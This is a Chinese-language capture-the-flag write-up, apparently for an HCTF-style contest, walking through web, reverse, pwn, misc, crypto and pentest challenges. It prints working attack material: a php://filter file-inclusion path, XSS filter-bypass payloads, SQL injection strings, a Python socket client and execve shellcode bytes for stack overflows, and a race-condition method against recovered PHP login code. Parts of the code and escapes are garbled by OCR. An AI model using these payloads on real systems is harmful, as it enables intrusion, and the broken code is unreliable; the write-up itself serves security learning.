```
WEB:
```

if data:

```
40 从0开始ELI之0
打开网页后可以看到两个img标签,其中一个的src为show.php?file=1.jpg ,算是很明显的提示了。
将file参数改为../flag.php即可得到flag
41 从0开始ELI之1
依然是php文件包含漏洞,但是要利用php伪协议—php://filter/read=convert.base64-encode/
resource=filename
比较坑的是,一开始以为应该是包含index.php或者show.php拿到源码之后会有flag。结果是要去猜flag.php的位置
最终构造show.php?file=php://filter/read=convert.base64-encode/resource=../flag.php, 得
到base64加密的flag,解密即可得到flag
50 从0开始之XSS challenge0
xss系列过滤条件都是给出的, 还是很简单的。
这题过滤了关键字script。
所以利用img标签的error事件来执行alert
利用代码:<img src=# onerror="alert(1);">
51 从0开始之XSS challenge1
input = input.replace(/script/gi, '_'); input = input.replace(/img/gi, '_'); input =
input.replace(/\>/gi,'_'); input = input.replace(/\(/gi, '_');
过滤了 script,img,>,(
但是插入xss的位置很特殊,在input标签里,同时发现插入的位置在 type属性的前面,所以可以由我们设定type属
因为过滤了 ( 所以alert(1)需要编码
利用代码:" type="image" src="#" onerror="alert(1)"
52 从0开始之XSS challenge2
input = input.replace(/\"/gi, '_'); input = input.replace(/\//gi, '
过滤了 "和 /
插入xss的位置也很特殊,本身就在script标签内。并且还有svg标签。
—开始想利用标签的解析优先度高于js脚本,后来发现没有 / 还是比较麻烦的
去查了一下svg的供能,得知svg标签内的代码会先解析为xml,即两次解析,可以编码 " 来绕过过滤
利用代码: ";alert(1);var b=&#34a
RE:
48 re从零开始的逆向之旅: Gold Miner
用JPEXS解包之后搜索hctf关键字,即可找到flag
PWN:
46 pwn step1
依然是栈溢出,只要覆盖retn返回的地址为getflag函数的地址即可
getflag函数的地址可以用ida查到 0x0804855B
写了个脚本用来发送数据
import socket
import thread
import time
mysocket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
over=0
def readShellcode():
     fp=open("shellcode", "rb")
     lstr=fp.read()
     print lstr.encode("hex")
def client():
     global mysocket
     mysocket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     mysocket.connect(('121.42.206.184',10001))
     thread.start_new_thread(client_listener,())
     thread.start_new_thread(client_send,())
     while over==0:
          time.sleep(1000)
def client_listener():
     global mysocket
     global over
     while 1:
          data=mysocket.recv(8196)
```

```
print data.
            print data.encode("hex")
        else:
            over=1
            print "Error: server connect over"
            break
def client_send():
    global mysocket
    global over
    while over==0:
        a=input()
        mysocket.send(a+"\n")
client();
这里只要在input的时候输
x04x08x5bx85x04x08x5bx85x04x85x04x08x5bx85x04x08x5bx85x04x08x5bx85x04x86x04x08
b \times 85 \times 04 \times 08
长度足够即可
47 pwn step2
还是栈溢出,但是这次没有getFlag这个函数了,同时题目给了个shellcode。
编译一下shellcode,然后用上面那个脚本的readShellcode函数,得到16进制表示的shellcode
比较特殊的是,每次连接到服务器的时候,都会显示出本次运行时,输入存放的地址。通过这个地址计算shellcode起始
为了方便起见,在shellcode前加入一定量的nop
以下为某次利用代码
在input里输
\lambda"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x36\x77\x89\xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xd
2\x52\x68\x62\x61\x73\x68\x62\x69\x6e\x2f\x2f\x2f\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1
\x8d\x42\x0b\xcd\x80"
MISC:
61 我是一个有格调的misc题目
下载得到一个pcapng文件,一开始拿到wireshark里去分析,看了半天没看出啥。后来搜索得知,这种题目只需要搜索
关键字即可
Linux终端下输入: strings -a misc3.pcapng | grep -i hctf
得到flag
```

root@kat1:~/果園/pwn# strings -a misc3.pcapng | grep -1 nct1

GET /wp/?s=hctf%7Bwh4t_d0_y0u_w4nt%3F%3F%7D&submit=%E6%90%9C%E7%B4%A2 HTTP/1.1

GET /main/sugggst?jsoncallback=jQuery17202566160987912186_1485188123976&func=sug

gest&sugges# type=accurate&sub_type=tag&main_ver=v1&highlight=&userid=0&bangumi_
acc_num=1&special_acc_num=1&topic_acc_num=1&upuser_acc_num=3&tag_num=10&special_
num=10&bangumi_num=10&upuser_num=3&term=hctf%7Bwh4t_d0_y0u_w4nt%3F%3F%7D&rnd=0.7

CRYPTO:

```
34 密码学教室进阶 (五)
用yafu的factor拆分n得到p和q
再计算i=(p-1)*(q-1)
关键代码:
i=(P8-1)*(PRP609-1)
d=invert(e,i)
m=pow(c,d,n)
print hex(m)
最后打印出来的部分经过decode之后即可得到flag
```

55 进击的 Crypto [0]

```
给了很多组n, e, c
拿到yafu里跑了一下n,只有两组是可以跑的。一开始想等他跑出来,结果半天跑不出来。
去查了一下,得知,应该求两个n之间的最大公约数。最大公约数即为p,再求q就很容易了
PENTEST:
45 我是最简单的渗透题
这题是最坑的, hint里说万能密码, 于是我试了 admin' or '1'='1 , admin' or '1'='1' limit 1 #,等各种
代码,依然没有试出来。
最后拿到Burpsuite去跑了一下,成功的样例是 1 or 1=1 --
好吧。。你们赢了
57 ez game
     根据hint, 去下载vim的备份文件。分别是.login.php.swp 和 .register.php.swp
     这个备份文件的格式挺奇怪的, 需要手工修复一下。
     register.php:
     <?php
     include('config.php');
     if ($_POST['username']==='' || $_POST['password']==='' || $_POST['gogogo']!=='苟?'){
           exit("something error...");
     $mysqli = new mysqli(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DATABASE);
     if ($mysqli->connect_errno){
           exit("gg".$mysqli->error);
     $username = $mysqli->escape_string($_POST['username']);
     $password = shal($_POST['password']);
     if($result = $mysqli->query("select * from users where username='$username'")){
           if ($result->num_rows){
                 $result->close();
                 exit("username is exist");
     $query = "insert into users (id, username, password) values (NULL , '$username',
'$password')";
     if ($mysqli->query($query) !== TRUE){
           exit('gg...'.$mysqli->error);
     $query = "select * from users where username = '$username'";
     $result = $mysqli->query($query);
     if ($result){
           $row = $result->fetch_array();
           $uid = $row['id'];
           $query = "insert into role (id, uid, level) values (NULL, $uid, 0)";
          if ($mysqli->query($query) === TRUE){
                 exit("success");
     exit("Oh! No!");
     login.php:
     <?php
     include("config.php");
     if (isset($_SESSION['username'])){
           header("Location: ./index.php");
           exit();
     if (isset($_POST['username']) && isset($_POST['password'])){
           if ($_POST['username']==='' || $_POST['password']==='' || $_POST['gogogo']!
=='苟!'){
                 exit("something error...");
           $ocode = intval(trim($_POST['code']));
     }
```

```
$mysqli = new mysqli(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DATABASE);
     if ($mysqli->connect errno){
           exit("gg".$mysqli->error);
     $username = $mysqli->escape_string($_POST['username']);
     $password = shal($_POST['password']);
     $query = "select * from users where username='$username' and password='$password'";
     $result = $mysqli->query($query);
     if ($result){
           $row = $result->fetch_array();
           $_SESSION['id'] = $row['id'];
           $_SESSION['username'] = $row['username'];
           $query = "select * from role where uid = $_SESSION[id]";
           $res = $mysqli->query($query);
           $row = $res ? $res->fetch_array() : array();
           $_SESSION['level'] = $row['level'];
           header("Location: ./index.php");
     }else{
           exit("Wrong username or password...")
     ?>
     试了escape_string的编码漏洞。但不怎么成功。
     看hint说条件竞争,猜测是添加用户到数据库和添加用户权限到数据库是分步的,这之间存在漏洞。
     于是到burpsuite里,用Intruder,选择Null payload,同时发送大量请求到index和login.php,login的账户为
即将注册的账户,再发送请求给 register. php, 去注册该账户。最后寻找长度不同的index. php的response, 即为存
在fl ag的页面
```